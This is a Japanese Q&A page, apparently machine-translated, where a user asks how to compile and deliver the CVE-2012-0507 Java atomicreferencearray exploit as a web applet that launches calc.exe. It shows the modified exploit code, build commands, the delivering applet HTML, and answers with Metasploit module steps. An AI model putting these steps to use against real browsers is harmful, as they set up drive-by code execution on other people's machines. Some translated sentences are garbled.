web-dev-qa-db-ja.com

システムでcalc.exeを実行するためにJava_atomicreferencearray(CVE-2012-0507)エクスプロイトをコンパイルする方法

私はJavaエクスプロイトに興味があり、これに出くわしました:

https://github.com/redcreen/exploits/tree/master/CVE-2012-0507/redcreen

Javaエクスプロイトのソースコードです。Javaの知識が限られている(高校でいくつか学んだ))ので、何が起こっているのかを理解しようとしましたバックグラウンドで。

ファイル https://github.com/redcreen/exploits/blob/master/CVE-2012-0507/redcreen/Exploit.Java には次のコードがあります:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        File file = new File("d:/temp/1.php");
        String cmd = "php " + file.getAbsolutePath();
        System.out.println(Help.doWork(_tmp, cmd));
    }

私が想定しているのは、このエクスプロイトで実行されるコードなので、次のように変更しました。

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        String cmd = "cmd /c start calc.exe";
        System.out.println(Help.doWork(_tmp, cmd));
    }

Explotationが成功したときにcalc.exeを開始し、次のコマンドでコンパイルします。

javac -d bin redcreen/*.Java
cd bin
jar cvf ../appplet2.jar redcreen/*.class

そしてそれをアプレットに入れました:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
  </body>
</html>

しかし、calc.exe脆弱なマシンでの実行Javaマシン。メタスプロイトの実行は機能します。ガイダンスや提案は大歓迎です。

6
Daniel

私のJavaはおそらくあなたのものほど良くはありませんが、この脆弱性を理解しているように、コードを実行するにはサンドボックスからの脱出に依存しています。

PHPコードを単純なコマンドに置き換えたときに、サンドボックスの外に出るプロセスの一部を壊したと思います。

これが問題のかなり詳細な調査です: https://media.blackhat.com/bh-us-12/Briefings/Oh/BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_WP.pdf

エクスプロイトがどのように機能するかについての詳細な説明については7ページに進み、作成者はコードとその実行をステップごとに実行します。

1
J Kimball

Metasploit-frameworkを使用して Java_atomicreferencearray エクスプロイトを単にロードしないのはなぜですか?

msfconsole
use .*Java_atomicreferencearray <tab>
info
show missing
set <stuff>
options
check
exploit -j

次に、脆弱なJRE対応のブラウザーが提供するリスナーURLを指定するだけです。

0
atdre

@ paj28がコメントしたように、Exploitはアプレットではありません。アプレットとして実行するのではなく、単に実行します(すでにコンパイルしているため)。

cd bin
Java Exploit
0
Steven